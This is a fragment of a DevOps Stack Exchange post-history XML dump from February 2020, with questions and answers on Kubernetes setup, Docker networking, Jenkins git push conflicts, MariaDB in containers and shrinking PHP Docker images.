KUBELET_EXTRA_ARGS=--cgroup-driver=systemd&#xD;&#xA;&gt; --container-runtime-endpoint=unix:///var/run/crio/crio.sock&#xD;&#xA;&#xD;&#xA;- Full output of some commands:&#xD;&#xA;-&gt; &quot;kube admin init --upload-certs&quot; -&gt; https://pastebin.com/isbAynEg&#xD;&#xA;-&gt; &quot;while true ; do systemctl status kubelet ; sleep 1 ; done&quot; -&gt; https://pastebin.com/9pgtDMNu&#xD;&#xA;-&gt; &quot;cat /etc/sysctl.d/99-kubernetes-cri.conf&quot; -&gt; [&quot;net.bridge.bridge-nf-call-iptables = 1&quot;,&quot;net.ipv4.ip_forward = 1&quot;,&quot;net.bridge.bridge-nf-call-ip6tables = 1&quot;]&#xD;&#xA;-&gt; &quot;journalctl -xeu kubelet&quot; -&gt; https://pastebin.com/qreJyhsu (this one has some things like &quot;aws credentials&quot; which i dont understand and not sure if are the reason or not for the errors).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any help please?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33096" PostHistoryTypeId="2" PostId="10783" RevisionGUID="3a686579-76ff-46ed-851c-c77a4e38f65c" CreationDate="2020-02-12T12:47:56.393" UserId="17508" Text="&gt; What would be the best way to share ports among the containers? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You don't really &quot;share&quot; ports between containers. Instead, you want to create network and attach each container to that network.  Each container gets a **network alias** (essentially a hostname) that you can use to hit the service. &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ docker network create foo&#xD;&#xA;$ docker run --network=foo --network-alias=mysql -p 3306:3306 my-mysql:latest&#xD;&#xA;$ docker run --network=foo --network-alias=restapi -p 5000:5000 --link mysql my-restapi:latest&#xD;&#xA;$ docker run --network=foo --network-alias=react -p 3000:3000 --link restapi my-reactapp:latest&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;So the _myrestapi_ container can access the mysql container using the hostname `mysql` and port 3306 and your react app can hit the _myrestapi_ container using the hostname `restapi`.  The containers will also be accessible from your localhost so you can hit your react app with a browser without additional setup&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33102" PostHistoryTypeId="50" PostId="10467" RevisionGUID="d214d65b-5e91-4077-b166-db0fb5866570" CreationDate="2020-02-12T15:02:15.337" UserId="-1" />
  <row Id="33103" PostHistoryTypeId="5" PostId="10783" RevisionGUID="a12ddf84-e904-4355-a7df-cf20ed95408c" CreationDate="2020-02-12T16:48:32.093" UserId="17508" Comment="Added docker-compose example." Text="&gt; What would be the best way to share ports among the containers? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You don't really &quot;share&quot; ports between containers. Instead, you want to create network and attach each container to that network.  Each container gets a **network alias** (essentially a hostname) that you can use to hit the service. &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ docker network create foo&#xD;&#xA;$ docker run --network=foo --network-alias=mysql -p 3306:3306 my-mysql:latest&#xD;&#xA;$ docker run --network=foo --network-alias=restapi -p 5000:5000 --link mysql my-restapi:latest&#xD;&#xA;$ docker run --network=foo --network-alias=react -p 3000:3000 --link restapi my-reactapp:latest&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;So the _myrestapi_ container can access the mysql container using the hostname `mysql` and port 3306 and your react app can hit the _myrestapi_ container using the hostname `restapi`.  The containers will also be accessible from your localhost so you can hit your react app with a browser without additional setup&#xD;&#xA;&#xD;&#xA;In docker-compose.yml (which I don't use a ton so someone may have a better solution), it would look something like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;networks: &#xD;&#xA;  foo:&#xD;&#xA;services:&#xD;&#xA;  mariadb:&#xD;&#xA;    container_name: mysql # this works for your alias so long as you don't have another container called mysql&#xD;&#xA;    image: mariadb:latest&#xD;&#xA;    networks: [&quot;foo&quot;]&#xD;&#xA;    ports:&#xD;&#xA;    - 3306:3306&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The other services would follow suit.&#xD;&#xA;&#xD;&#xA;As for &quot;priming&quot; the database, that's a little trickier. If the DB has to be running, you would need to replace the docker container's entrypoint to start the server, run the mysql command to import the data, then your script would just spin forever.&#xD;&#xA;&#xD;&#xA;Alternately, you could script your container start-up and after it starts, import the data that way." ContentLicense="CC BY-SA 4.0" />
  <row Id="33104" PostHistoryTypeId="50" PostId="10447" RevisionGUID="c2fd8569-e506-4bd2-9f57-bc1fbbe24c1b" CreationDate="2020-02-12T18:02:00.233" UserId="-1" />
  <row Id="33111" PostHistoryTypeId="5" PostId="10743" RevisionGUID="1c8fa661-d403-4268-b9bf-680cc8bbb910" CreationDate="2020-02-12T20:21:37.820" UserId="707" Comment="added 490 characters in body" Text="Welcome to DevOps SE!&#xD;&#xA;&#xD;&#xA;Is it possible to make data management and operation of data sets to be an asset on its own? It seems like data has become more important so a more *data-centric* approach could help.&#xD;&#xA;&#xD;&#xA;&gt; Program managers have the insider info on what the demo data needs to&#xD;&#xA;&gt; look like&#xD;&#xA;&#xD;&#xA;This proves also organizational silo and lack of communication in the process: even before DevOps, in an agile team e.g. scrum you could have not only engineers but also a product owner and testers who take responsibility to provide not only useful tests but also useful testdata to the team.&#xD;&#xA;&#xD;&#xA;That is, the fourth possible scenario could be that you take a data set from production and scramble/anonymize it. If it is too large, you need to reduce it to a representative mix. A DevOps way to do it would be to automate all these steps after they are well understood. =&gt; Working real life scenario.&#xD;&#xA;&#xD;&#xA;Typical keywords in this context are:&#xD;&#xA;&#xD;&#xA;* data scrambling&#xD;&#xA;* data anonymization&#xD;&#xA;* synthetic data&#xD;&#xA;&#xD;&#xA;Depending on your domain, there could be also applicable and more or less flexible enterprise tools for master data management where product owners could manage and version various data profiles. &#xD;&#xA;&#xD;&#xA;An example study: *[Going Beyond Obscurity: Organizational Approaches to Data Anonymization][1]* (Hargitai et al. 2018)&#xD;&#xA;&#xD;&#xA;&gt; Rather than being a purely technical question of applying the right&#xD;&#xA;&gt; algorithms, **anonymization** in practice is a complex socio-technical&#xD;&#xA;&gt; process that relies on multi-stakeholder collaborations.&#xD;&#xA;&#xD;&#xA;Or: [*Machine learning using synthetic and real data: Similarity of evaluation metrics for different healthcare datasets and for different algorithms*][2]. (Heyburn et al., 2018)&#xD;&#xA;&#xD;&#xA;&gt; In this paper, we carry out an experiment to study the validity of&#xD;&#xA;&gt; conducting machine learning on **synthetic data**.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://dl.acm.org/doi/abs/10.1145/3274335?casa_token=uI4NBUmHDIwAAAAA%3AheKYJO5RRmnDKsO_c5ieBjPQjnTS5_IumTWqWMrijRcIqxXwbJQl8xrtq1Z0RtHRZEcbYWzKNIcbjQ&#xD;&#xA;  [2]: https://www.worldscientific.com/doi/abs/10.1142/9789813273238_0160" ContentLicense="CC BY-SA 4.0" />
  <row Id="33112" PostHistoryTypeId="5" PostId="10743" RevisionGUID="0f9630e3-ac8a-47ab-bfb7-1d2409e985eb" CreationDate="2020-02-12T20:28:39.313" UserId="707" Comment="added 490 characters in body" Text="Welcome to DevOps SE!&#xD;&#xA;&#xD;&#xA;Is it possible to make data management and operation of data sets to be an asset on its own? It seems like data has become more important so a more *data-centric* approach could help.&#xD;&#xA;&#xD;&#xA;&gt; Program managers have the insider info on what the demo data needs to&#xD;&#xA;&gt; look like&#xD;&#xA;&#xD;&#xA;This proves also organizational silo and lack of communication in the process: even before DevOps, in an agile team e.g. scrum you could have not only engineers but also a product owner and testers who take responsibility to provide not only useful tests but also useful testdata to the team.&#xD;&#xA;&#xD;&#xA;That is, the fourth possible scenario could be that you take a data set from production and scramble/anonymize it. If it is too large, you need to reduce it to a representative mix. A DevOps way to do it would be to automate all these steps after they are well understood. =&gt; Working real life scenario.&#xD;&#xA;&#xD;&#xA;There are some legal workaround methods though which require though considerable additional effort:&#xD;&#xA;&#xD;&#xA;* data scrambling&#xD;&#xA;* data anonymization&#xD;&#xA;* synthetic data&#xD;&#xA;&#xD;&#xA;Depending on your domain, there could be also applicable and more or less flexible enterprise tools for master data management where product owners could manage and version various data profiles. &#xD;&#xA;&#xD;&#xA;Since DevOps approach is more than just finding a tool to use, but also doing experiments to find out more, here are examples of recent academic research on these topics.&#xD;&#xA;&#xD;&#xA;An example study: *[Going Beyond Obscurity: Organizational Approaches to Data Anonymization][1]* (Hargitai et al. 2018)&#xD;&#xA;&#xD;&#xA;&gt; Rather than being a purely technical question of applying the right&#xD;&#xA;&gt; algorithms, **anonymization** in practice is a complex socio-technical&#xD;&#xA;&gt; process that relies on multi-stakeholder collaborations.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Or: [*Machine learning using synthetic and real data: Similarity of evaluation metrics for different healthcare datasets and for different algorithms*][2]. (Heyburn et al., 2018)&#xD;&#xA;&#xD;&#xA;&gt; In this paper, we carry out an experiment to study the validity of&#xD;&#xA;&gt; conducting machine learning on **synthetic data**.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://dl.acm.org/doi/abs/10.1145/3274335?casa_token=uI4NBUmHDIwAAAAA%3AheKYJO5RRmnDKsO_c5ieBjPQjnTS5_IumTWqWMrijRcIqxXwbJQl8xrtq1Z0RtHRZEcbYWzKNIcbjQ&#xD;&#xA;  [2]: https://www.worldscientific.com/doi/abs/10.1142/9789813273238_0160" ContentLicense="CC BY-SA 4.0" />
  <row Id="33113" PostHistoryTypeId="2" PostId="10788" RevisionGUID="87fef1a5-7f92-445b-923e-32e8bdd2e9ca" CreationDate="2020-02-12T20:40:14.480" UserId="736" Text="We've got a ton of jobs in our Jenkins that all do git pushes, sometimes simultaneously. Unsurprisingly, if two jobs try to push at the same exact time, one will succeed while the other fails. My knee-jerk reaction is to build some kind of exponential backoff and retry for these git pushes, but I'm pretty unfamiliar with git. Does something like that exist already?&#xD;&#xA;&#xD;&#xA;Our commit/push code generally looks like this:&#xD;&#xA;&#xD;&#xA;    git config --global user.name &quot;username&quot;&#xD;&#xA;    git config --global user.email email@example.com&#xD;&#xA;    git add --ignore-errors -- dir/&#xD;&#xA;    git commit -m &quot;some message&quot;&#xD;&#xA;    git pull --rebase origin&#xD;&#xA;    git push origin master&#xD;&#xA;&#xD;&#xA;As you can see, the bandaid originally applied to the problem was to put a pull before the push to fix other jobs that pushed while the current one was running. That works for ~80 of cases, but if the two pushes fall within the same &lt;1sec window, there are still failures. &#xD;&#xA;&#xD;&#xA;Here's an example of a failure for the last two lines above: (Anything in &lt;&gt; is edited for privacy)&#xD;&#xA;&#xD;&#xA;    + git pull --rebase origin&#xD;&#xA;    Warning: Permanently added '&lt;bitbucket.org ip&gt;' (RSA) to the list of known hosts.&#xD;&#xA;    From &lt;bitbucket.org:dir&gt;&#xD;&#xA;       &lt;commit#&gt;..&lt;commit#2&gt;  master     -&gt; origin/master&#xD;&#xA;    First, rewinding head to replay your work on top of it...&#xD;&#xA;    Applying: &lt;commit name&gt;&#xD;&#xA;    + git push origin master&#xD;&#xA;    Warning: Permanently added '&lt;bitbucket.org, ip&gt;' (RSA) to the list of known hosts.&#xD;&#xA;    remote: error: cannot lock ref 'refs/heads/master': is at &lt;commit sha&gt; but expected &lt;different commit sha&gt;        &#xD;&#xA;    To &lt;bitbucket.org:dir&gt;&#xD;&#xA;     ! [remote rejected] master -&gt; master (failed to update ref)&#xD;&#xA;    error: failed to push some refs to 'git@bitbucket.org:&lt;team/dir&gt;'&#xD;&#xA;&#xD;&#xA;So my question boils down to:&#xD;&#xA;&#xD;&#xA;1. Is there some form of backoff-and-retry built into git?&#xD;&#xA;2. If not, how can I build that (assume a shell block in a jenkins freestyle job)?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33114" PostHistoryTypeId="1" PostId="10788" RevisionGUID="87fef1a5-7f92-445b-923e-32e8bdd2e9ca" CreationDate="2020-02-12T20:40:14.480" UserId="736" Text="exponential backoff for git pushes?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33115" PostHistoryTypeId="3" PostId="10788" RevisionGUID="87fef1a5-7f92-445b-923e-32e8bdd2e9ca" CreationDate="2020-02-12T20:40:14.480" UserId="736" Text="&lt;jenkins&gt;&lt;git&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33116" PostHistoryTypeId="2" PostId="10789" RevisionGUID="7e9aaa58-13d8-43ee-8b6f-fe69553f5ba9" CreationDate="2020-02-12T21:57:12.780" UserId="7137" Text="So, let's say there's a cluster node, with 4 CPU cores. &#xD;&#xA;&#xD;&#xA;It's running two pods.&#xD;&#xA;Each pod sets the CPU requirement at: `500m`, but the CPU limit at `4000m`.&#xD;&#xA;&#xD;&#xA;running `kubectl describe node &lt;noode&gt;` tells me CPU limit is at `8 (200%)`&#xD;&#xA;&#xD;&#xA;I understand it claims `200%` because I have two pods, each setting its CPU limit at 4 CPU cores. &#xD;&#xA;&#xD;&#xA;Is that just semantics or is there a potential issue? I mean, if both pods need to burst to 3 CPU cores (below each one's limit) it would not be physically possible, and they'd have to settle with less.&#xD;&#xA;&#xD;&#xA;Is there a potential issue with the sum of all pod limits, exceeding their host node CPU capability? or is just an indication of what's been asked as CPU limit, knowing it may not be able to serve that -- after all, pods may not be aware of each other being in the same node. &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33117" PostHistoryTypeId="1" PostId="10789" RevisionGUID="7e9aaa58-13d8-43ee-8b6f-fe69553f5ba9" CreationDate="2020-02-12T21:57:12.780" UserId="7137" Text="Kubernetes: CPU Limits at (200%)?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33118" PostHistoryTypeId="3" PostId="10789" RevisionGUID="7e9aaa58-13d8-43ee-8b6f-fe69553f5ba9" CreationDate="2020-02-12T21:57:12.780" UserId="7137" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33120" PostHistoryTypeId="50" PostId="10462" RevisionGUID="606a4e08-4f4c-4faf-a35b-e802316c8727" CreationDate="2020-02-13T00:02:30.313" UserId="-1" />
  <row Id="33121" PostHistoryTypeId="2" PostId="10790" RevisionGUID="0bbe03b2-3445-42e9-b3b5-e0db09371691" CreationDate="2020-02-13T02:20:23.297" UserId="17579" Text="This works exactly in the way you're describing.  You have two pods which each have a limit of 4 CPUs scheduled on the same node; so the total of the limits on that node is 8 CPUs; which is 200% of the node's physical capacity; and if the two nodes combined go over the node's physical abilities then the host kernel will time-slice available resources.  For CPU there's nothing especially wrong with this.&#xD;&#xA;&#xD;&#xA;The exact same presentation in the `kubectl describe node` output applies to memory, and there is the potential for trouble with that: if your pod limits add up to 200% of a node's physical memory, and together they exceed the physical capacity, then the host kernel will respond by killing one of them off.  Lower requests will allow more things to be potentially scheduled on the same node, but keeping requests closer to limits gives you a better chance of them staying running long-term." ContentLicense="CC BY-SA 4.0" />
  <row Id="33122" PostHistoryTypeId="2" PostId="10791" RevisionGUID="9b55da6e-7bd4-49a9-8b7b-2ef0d9670a95" CreationDate="2020-02-13T06:04:33.573" UserId="4115" Text="Instead of trying to find a solution in git, I would recommending using the [Lockable Resources Plugin](https://plugins.jenkins.io/lockable-resources/), which is an official plugin developed by the Jenkins developers.  This plugin implements locks in Jenkins, which are basically the same idea as a [semaphore or mutex](https://en.wikipedia.org/wiki/Lock_(computer_science)).  Using this plugin, each of your jobs that needs to push to the same branch of the same repo will request a lock when performing the push.  If the lock is available, the job will acquire the lock, push right away, and then release the lock when it is finished pushing.  If the lock is not available, the job will wait until the lock is available (i.e., all other jobs are done pushing) before grabbing it, pushing, and releasing the lock." ContentLicense="CC BY-SA 4.0" />
  <row Id="33126" PostHistoryTypeId="2" PostId="10793" RevisionGUID="2dce607a-5613-4917-98dd-608d9b8d37a4" CreationDate="2020-02-13T08:35:28.763" UserId="19440" Text="As @Vasiliy Shakhunov and @SheldonH have mentioned, there is no straight way to do what I asked in the question. In the end I ended up uploading the keys into AWS with its CLI like this: &#xD;&#xA;&#xD;&#xA;```bash&#xD;&#xA;aws ec2 import-key-pair --key-name &quot;name_for_the_key&quot; --public-key-material file:///home/user/.ssh/name_for_the_key.pub&#xD;&#xA;``` &#xD;&#xA;and then reference it like that:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```terraform&#xD;&#xA;resource &quot;aws_instance&quot; &quot;test&quot; {&#xD;&#xA;&#xD;&#xA;    ami = &quot;${var.ami_id}&quot;&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;    key_name      = &quot;name_for_the_key&quot;   &#xD;&#xA;                                      &#xD;&#xA;    ...&#xD;&#xA;    &#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Note** Yes `file://` looks like the &quot;Windowsest&quot; syntax ever but you have to use it on linux too.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33130" PostHistoryTypeId="2" PostId="10795" RevisionGUID="0c69f757-4e65-40d9-ab97-92a8aa51a5fc" CreationDate="2020-02-13T09:14:01.837" UserId="19664" Text="There are a few options (combining the existing answers and adding option for Calico, including example ouput):&#xD;&#xA;&#xD;&#xA;**Option 1**: Run this command On the master node (also applicable when running for example microk8s on Ubuntu)&#xD;&#xA;&#xD;&#xA; - **kubeadm config view | grep Subnet**&#xD;&#xA;&#xD;&#xA;example output from local 3 node cluster, master node&#xD;&#xA;&#xD;&#xA;    podSubnet: 172.16.0.0/16&#xD;&#xA;    serviceSubnet: 10.96.0.0/12&#xD;&#xA;&#xD;&#xA;**Option 2**: Run this command on the master node:&#xD;&#xA;&#xD;&#xA; - **ps -ef | grep cluster-cidr**&#xD;&#xA;&#xD;&#xA;example output from local machine running microk8s&#xD;&#xA;&#xD;&#xA;    vincent   6841 27089  0 09:52 pts/7    00:00:00 grep --color=auto cluster-cidr&#xD;&#xA;    root      7053     1  0 feb12 ?        00:00:14 /snap/microk8s/1173/kube-proxy --kubeconfig=/var/snap/microk8s/1173/credentials/proxy.config --cluster-cidr=10.152.183.0/24 --healthz-bind-address=127.0.0.1&#xD;&#xA;&#xD;&#xA;**Option 3**: Run this command on the master node:&#xD;&#xA;&#xD;&#xA; - **sudo grep cidr /etc/kubernetes/manifests/kube-***&#xD;&#xA;&#xD;&#xA;Example output of same master node:&#xD;&#xA;&#xD;&#xA;    /etc/kubernetes/manifests/kube-controller-manager.yaml:    - --allocate-node-cidrs=true&#xD;&#xA;    /etc/kubernetes/manifests/kube-controller-manager.yaml:    - --cluster-cidr=172.16.0.0/16&#xD;&#xA;    /etc/kubernetes/manifests/kube-controller-manager.yaml:    - --node-cidr-mask-size=24&#xD;&#xA;&#xD;&#xA;If you run Calico you have the option to use calicoctl:&#xD;&#xA;&#xD;&#xA;https://docs.projectcalico.org/v3.5/usage/calicoctl/install&#xD;&#xA;&#xD;&#xA;This documentation shows how to show and also change the cidr:&#xD;&#xA;https://docs.projectcalico.org/v3.2/usage/changing-ip-pools&#xD;&#xA;&#xD;&#xA;**Option 4** (Calico): Run this command to view the cidr:&#xD;&#xA;&#xD;&#xA; - **CALICO_KUBECONFIG=~/.kube/config DATASTORE_TYPE=kubernetes calicoctl get ippool -o wide**&#xD;&#xA;&#xD;&#xA;Example output for the same cluster (works from any place that has the proper kubectl config and connection to the cluster):&#xD;&#xA;&#xD;&#xA;    NAME                  CIDR            NAT    IPIPMODE   DISABLED   SELECTOR   &#xD;&#xA;    default-ipv4-ippool   172.16.0.0/16   true   Always     false      all()&#xD;&#xA;&#xD;&#xA;Depending on your network option, you may have other options which are hopefully documented in the respective documentation.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33131" PostHistoryTypeId="2" PostId="10796" RevisionGUID="f0792dc8-5b35-4a39-8a7b-551e18e7bc4f" CreationDate="2020-02-13T11:12:11.337" UserId="19638" Text="No, Kubernetes will load-balance requests to a clusterIP across Pods with matching labels and passing readiness checks. It won't keep traffic within the same Node.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Q: So how does the NodeLocal Cache achieve to keep DNS requests local to the Node?&#xD;&#xA;&#xD;&#xA;A: When using the NodeLocal Cache, it is necessary to pass a extra arg to the Kubelet of each Node (e.g. `--kubelet-extra-args &quot;--cluster-dns=169.254.20.10 ...&quot;`). This changes the `resolv.conf` of every container in every Pod to use DNS resolver on the Node, instead of a `clusterIP`. The NodeLocal Cache runs on every Node (as a DaemonSet) and uses a arg (e.g. `&quot;-localip&quot;, &quot;169.254.20.10&quot;`) to run on the specific IP set in all other `resolv.conf`s." ContentLicense="CC BY-SA 4.0" />
  <row Id="33132" PostHistoryTypeId="2" PostId="10797" RevisionGUID="d6ca9774-958c-4d24-b465-fb470c7d74ef" CreationDate="2020-02-13T15:59:46.393" UserId="9952" Text="I've tried countless docker images, but all of them have the same behaviour.&#xD;&#xA;&#xD;&#xA;When I open up a console and try to import my database structure via the mysql/mariadb command. But I always get the same error:&#xD;&#xA;&#xD;&#xA;    ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES)&#xD;&#xA;&#xD;&#xA;This is my dockerfile:&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;&#xD;&#xA;    networks:&#xD;&#xA;        mynet:&#xD;&#xA;            driver: bridge&#xD;&#xA;    &#xD;&#xA;    services:&#xD;&#xA;      mariadb:&#xD;&#xA;        container_name: mariadb&#xD;&#xA;        image: webhippie/mariadb # this one doesn't work (at least for me)&#xD;&#xA;        networks:&#xD;&#xA;            mynet:&#xD;&#xA;                aliases:&#xD;&#xA;                    - database&#xD;&#xA;        environment:&#xD;&#xA;            - MARIADB_ROOT_PASSWORD=topsecret&#xD;&#xA;            - MARADB_DATABASE=mydb&#xD;&#xA;        ports:&#xD;&#xA;        - 3306:3306&#xD;&#xA;&#xD;&#xA;Do you have any suggestions on how I can login via the console?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33133" PostHistoryTypeId="1" PostId="10797" RevisionGUID="d6ca9774-958c-4d24-b465-fb470c7d74ef" CreationDate="2020-02-13T15:59:46.393" UserId="9952" Text="mariadb docker on raspberry" ContentLicense="CC BY-SA 4.0" />
  <row Id="33134" PostHistoryTypeId="3" PostId="10797" RevisionGUID="d6ca9774-958c-4d24-b465-fb470c7d74ef" CreationDate="2020-02-13T15:59:46.393" UserId="9952" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;mysql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33135" PostHistoryTypeId="50" PostId="10431" RevisionGUID="75179526-53c7-4d6d-9a85-46f8472f1f52" CreationDate="2020-02-13T16:02:45.370" UserId="-1" />
  <row Id="33139" PostHistoryTypeId="2" PostId="10799" RevisionGUID="f4d957ae-5810-4718-bf29-96de662c691b" CreationDate="2020-02-13T17:22:47.033" UserId="19668" Text="What we do is download and install miniconda in the first step in our (declarative) pipeline and create the environment(s) from a yaml file.&#xD;&#xA;&#xD;&#xA;    sh '''#!/usr/bin/env bash&#xD;&#xA;    wget https://repo.continuum.io/miniconda/Miniconda3-latest-Linux-x86_64.sh -nv -O miniconda.sh&#xD;&#xA;    bash miniconda.sh -b -p $WORKSPACE/miniconda&#xD;&#xA;    conda config --set always_yes yes --set changeps1 no&#xD;&#xA;    conda update -q conda&#xD;&#xA;&#xD;&#xA;    conda env create -f envs/ansible-env.yaml&#xD;&#xA;    '''&#xD;&#xA;&#xD;&#xA;In each step we start the conda environment like so:&#xD;&#xA;&#xD;&#xA;    sh '''#!/usr/bin/env bash&#xD;&#xA;    source $WORKSPACE/miniconda/etc/profile.d/conda.sh&#xD;&#xA;    conda activate miniconda/envs/ansible-env/&#xD;&#xA;&#xD;&#xA;    # do stuff&#xD;&#xA;    '''" ContentLicense="CC BY-SA 4.0" />
  <row Id="33142" PostHistoryTypeId="50" PostId="10487" RevisionGUID="41f50eb4-918c-43bf-affc-8a4aff6a81b6" CreationDate="2020-02-13T20:02:30.323" UserId="-1" />
  <row Id="33146" PostHistoryTypeId="2" PostId="10800" RevisionGUID="761430be-357e-4c77-b704-84f95a481036" CreationDate="2020-02-13T21:38:43.863" UserId="4396" Text="Usually when I build docker images for php I use this approach:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;FROM  php:7.2-apache&#xD;&#xA;&#xD;&#xA;RUN apt-get update &amp;&amp; \&#xD;&#xA;    apt-get install -y libghc-postgresql-simple-dev &amp;&amp;\&#xD;&#xA;    docker-php-ext-configure pgsql -with-pgsql=/usr/local/pgsql &amp;&amp;\&#xD;&#xA;    docker-php-ext-install pdo pgsql pdo_pgsql &amp;&amp;\&#xD;&#xA;    // Install some other extentions there&#xD;&#xA;    apt-get autoremove -y &amp;&amp;\&#xD;&#xA;	apt-get autoclean &amp;&amp;\&#xD;&#xA;	rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* cache/* /var/lib/log/*&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;But this can result an image of 1.2GB and I need to shave some space. AFAIK header files such as the `libghc-postgresql-simple-dev` take a lot of space in my image so after building and installing the module I though of removing it and use the non-dev variant `libghc-postgresql-simple` or removing it completely.&#xD;&#xA;&#xD;&#xA;So I want to ask:&#xD;&#xA; 1. Instead of dynamically linking it how I can statically link it on my build once i run ` docker-php-ext-install` in order to remove the `libghc-postgresql-simple-dev` package?&#xD;&#xA; 2. Would once I build the php module removing the `libghc-postgresql-simple-dev` and using the `libghc-postgresql-simple` would make the php psql extention to work as supposed to?&#xD;&#xA;&#xD;&#xA;The idea behind it is to optimize the build in order to make my image as small as possible." ContentLicense="CC BY-SA 4.0" />
  <row Id="33147" PostHistoryTypeId="1" PostId="10800" RevisionGUID="761430be-357e-4c77-b704-84f95a481036" CreationDate="2020-02-13T21:38:43.863" UserId="4396" Text="Do I need header files once I install the php extention on Dockerfile?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33148" PostHistoryTypeId="3" PostId="10800" RevisionGUID="761430be-357e-4c77-b704-84f95a481036" CreationDate="2020-02-13T21:38:43.863" UserId="4396" Text="&lt;docker&gt;&lt;dockerfile&gt;&lt;php&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33149" PostHistoryTypeId="50" PostId="10470" RevisionGUID="4d6ac998-bac9-4513-9156-e67713624fa0" CreationDate="2020-02-14T02:02:35.390" UserId="-1" />
  <row Id="33150" PostHistoryTypeId="50" PostId="10491" RevisionGUID="0cf99802-596b-4d80-a691-582fb0b07343" CreationDate="2020-02-14T03:02:30.360" UserId="-1" />
  <row Id="33154" PostHistoryTypeId="2" PostId="10802" RevisionGUID="8841705b-a64f-4dce-934c-c3d059d48b41" CreationDate="2020-02-14T11:08:41.067" UserId="19679" Text="We are looking into moving our Jira instance on a Kubernetes cluster and one of the concerns that were recently risen is whether we should go with a StatefulSet or a Deployment. So, are there any suggestions or lessons learned by using any of the above controllers? Any additional tips, source of information and comments by people who went through the process could be very valuable to us." ContentLicense="CC BY-SA 4.0" />
  <row Id="33155" PostHistoryTypeId="1" PostId="10802" RevisionGUID="8841705b-a64f-4dce-934c-c3d059d48b41" CreationDate="2020-02-14T11:08:41.067" UserId="19679" Text="StatefulSet or Deployment for Jira on Kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="33156" PostHistoryTypeId="3" PostId="10802" RevisionGUID="8841705b-a64f-4dce-934c-c3d059d48b41" CreationDate="2020-02-14T11:08:41.067" UserId="19679" Text="&lt;kubernetes&gt;&lt;jira&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33160" PostHistoryTypeId="2" PostId="10804" RevisionGUID="f570250d-4b97-4c02-8892-3af18ef595e9" CreationDate="2020-02-14T15:32:03.947" UserId="9148" Text="Does the following work?&#xD;&#xA;&#xD;&#xA;    docker-compose exec mariadb /usr/bin/mysql -u &lt;your_db_username&gt; --password=&lt;your_db_password&gt; &lt; your_db_backup.sql&#xD;&#xA;&#xD;&#xA;Note: `mariadb` is the name of your container.&#xD;&#xA;&#xD;&#xA;Edit: I realize I'm using docker-compose. So I'm not entirely sure if this would work with just a Dockerfile." ContentLicense="CC BY-SA 4.0" />
  <row Id="33161" PostHistoryTypeId="2" PostId="10805" RevisionGUID="5dcd9364-28eb-49ea-a2b8-38c0769663a5" CreationDate="2020-02-14T15:48:07.700" UserId="3930" Text="You shouldn't need to statically link things to remove the `*-dev` packages and have everything still work. If you do, then that's a bug in the base package and the `-dev` package and should be reported upstream. So yes, you should in theory be able to, after installing your extensions and such, do the following and shrink the image significantly:&#xD;&#xA;&#xD;&#xA;```sh&#xD;&#xA;apt-get install -y libghc-postgresql-simple &amp;&amp; apt-get remove libghc-postgresql-simple-dev&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;There are two other things you can do to improve your image sizes:&#xD;&#xA;&#xD;&#xA;* Use the `--no-install-recommends` switch for all of your `apt-get install` invocations, and explicitly list every package you depend on. Recommended dependencies are a type of optional dependency in Debian packages that are installed by default. They can often take up a _lot_ of space, but you may not actually need most (or any) of them, so you can save space by not auto-installing them and only pulling in what you actually need. This can easily cut down image sizes multiple hundreds of MB.&#xD;&#xA;* Use the `--purge` option whenever removing packages. This will ensure that they leave nothing behind, instead of potentially leaving some config files and other similar stuff, which can also help cut down on your space usage." ContentLicense="CC BY-SA 4.0" />
